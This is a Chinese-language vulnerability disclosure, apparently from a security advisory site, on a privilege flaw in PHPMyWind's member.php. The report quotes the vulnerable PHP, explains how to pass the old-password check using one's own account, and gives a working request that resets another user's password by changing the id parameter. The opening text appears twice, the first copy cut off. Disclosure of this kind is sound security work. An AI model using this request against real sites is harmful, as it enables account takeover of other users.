### 简要描述: phpmywind水平权限漏洞一枚,可修改任意用户的任意资料包括密码 ### 详细说明: 经过简单审核发现phpmywind 存在一处任意用户资料更新漏洞(包括密码) 因为phpmywind的密码采用双md5加密,即使存在注入,也很难跑出密码,所以感觉注入漏洞危害性还不如密码重置这类的漏洞,这里我就验证下密码重置这个漏洞,其实是可以修改任意用户的所有资料信息。 出现逻辑问题的代码位于member.php的第601行,上下文分别是 //更新资料 elseif($a == 'saveedit') { //检测数据完整性 if($password!=$repassword or$email=='') { header('location:?c=edit'); exit(); } //HTML转义变量 $answer = htmlspecialchars($answer); $cnname = htmlspecialchars($cnname); $enname = htmlspecialchars($enname); $cardnum = htmlspecialchars($cardnum); $intro = htmlspecialchars($intro); $email = htmlspecialchars($email); $qqnum = htmlspecialchars($qqnum); $mobile = htmlspecialchars($mobile); $telephone =htmlspecialchars($telephone); $address = htmlspecialchars($address); $zipcode = htmlspecialchars($zipcode); //检测旧密码是否正确 if($password != '') { $oldpassword =md5(md5($oldpassword)); $r =$dosql->GetOne("SELECT `password` FROM `#@__member` WHERE`username`='$c_uname'"); if($r['password'] !=$oldpassword) { ShowMsg('抱歉,旧密码错误!','-1');...
### 简要描述: phpmywind水平权限漏洞一枚,可修改任意用户的任意资料包括密码 ### 详细说明: 经过简单审核发现phpmywind 存在一处任意用户资料更新漏洞(包括密码) 因为phpmywind的密码采用双md5加密,即使存在注入,也很难跑出密码,所以感觉注入漏洞危害性还不如密码重置这类的漏洞,这里我就验证下密码重置这个漏洞,其实是可以修改任意用户的所有资料信息。 出现逻辑问题的代码位于member.php的第601行,上下文分别是 //更新资料 elseif($a == 'saveedit') { //检测数据完整性 if($password!=$repassword or$email=='') { header('location:?c=edit'); exit(); } //HTML转义变量 $answer = htmlspecialchars($answer); $cnname = htmlspecialchars($cnname); $enname = htmlspecialchars($enname); $cardnum = htmlspecialchars($cardnum); $intro = htmlspecialchars($intro); $email = htmlspecialchars($email); $qqnum = htmlspecialchars($qqnum); $mobile = htmlspecialchars($mobile); $telephone =htmlspecialchars($telephone); $address = htmlspecialchars($address); $zipcode = htmlspecialchars($zipcode); //检测旧密码是否正确 if($password != '') { $oldpassword =md5(md5($oldpassword)); $r =$dosql->GetOne("SELECT `password` FROM `#@__member` WHERE`username`='$c_uname'"); if($r['password'] !=$oldpassword) { ShowMsg('抱歉,旧密码错误!','-1'); exit(); } } $sql = "UPDATE `#@__member` SET"; if($password != '') { $password =md5(md5($password)); $sql .="password='$password', "; } @$sql .= "question='$question',answer='$answer', cnname='$cnname', enname='$enname', sex='$sex',birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month',birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade',live_prov='$live_prov', live_city='$live_city', live_country='$live_country',home_prov='$home_prov', home_city='$home_city', home_country='$home_country',cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email',qqnum='$qqnum', mobile='$mobile', telephone='$telephone',address_prov='$address_prov', address_city='$address_city', address_country='$address_country',address='$address', zipcode='$zipcode' WHERE id=$id"; //可修改任意用户资料 if($dosql->ExecNoneQuery($sql)) { ShowMsg('资料更新成功!','?c=edit'); exit(); } } 这段代码的功能是更新用户资料(包含密码) 问题的关键点在执行sql语句 @$sql.= "question='$question', answer='$answer', cnname='$cnname',enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year',birth_month='$birth_month', birth_day='$birth_day', astro='$astro',bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov',live_city='$live_city', live_country='$live_country', home_prov='$home_prov',home_city='$home_city', home_country='$home_country', cardtype='$cardtype',cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum',mobile='$mobile', telephone='$telephone', address_prov='$address_prov',address_city='$address_city', address_country='$address_country',address='$address', zipcode='$zipcode' WHERE id=$id"; 的执行判断条件上,where后的id是可以通过参数进行修改的,而之后没有其他验证条件,导致了水平权限的问题。 触发这条SQL语句需要绕过前面的一些验证 if($password!=$repasswordor $email=='') { header('location:?c=edit'); exit(); } 只要在url中带入password,repassword,email 使不为空,让password=repassword就可以,这个password就是重置后的密码 //检测旧密码是否正确 if($password != '') { $oldpassword =md5(md5($oldpassword)); $r = $dosql->GetOne("SELECT`password` FROM `#@__member` WHERE `username`='$c_uname'"); if($r['password'] !=$oldpassword) { ShowMsg('抱歉,旧密码错误!','-1'); exit(); } } 这个地方也很好绕过,注册个账号,在url中填入c_uname为注册的账号,oldpassword为注册的密码就可以。 以上就是绕过的方法,然后就可以任意设置id修改任意用户的密码,当然想要修改资料的话通过在url中添加 $answer = htmlspecialchars($answer); $cnname = htmlspecialchars($cnname); $enname = htmlspecialchars($enname); $cardnum = htmlspecialchars($cardnum); $intro = htmlspecialchars($intro); $email = htmlspecialchars($email); $qqnum = htmlspecialchars($qqnum); $mobile = htmlspecialchars($mobile); $telephone =htmlspecialchars($telephone); $address = htmlspecialchars($address); $zipcode = htmlspecialchars($zipcode); 这些对应的变量就可以。 验证一下吧 我首先注册了两个用户listen1 和listen2 密码都是listen 尝试用listen1修改listen2的密码为123456 登陆listen1,构造请求发送 http://127.0.0.1/phpmywind/member.php?a=saveedit&c_uname=listen1&oldpassword=listen&password=123456&id=4&repassword=123456&email=123 [<img src="https://images.seebug.org/upload/201410/15161042db10af1b92bb8f533218b9cdfeef8b35.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/15161042db10af1b92bb8f533218b9cdfeef8b35.png) listen2用户的id是4,这个无关紧要,对于一个攻击者,他宁愿通过遍历把所有用户密码修改掉。 发送链接 [<img src="https://images.seebug.org/upload/201410/151610581c9a02c5e1cec334c1a75297faad3254.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/151610581c9a02c5e1cec334c1a75297faad3254.png) OK 修改成功! 经测试listen2密码确实被修改为123456 你们可以自行验证,有问题联系franklin1990@126.com ### 漏洞证明: 如上测试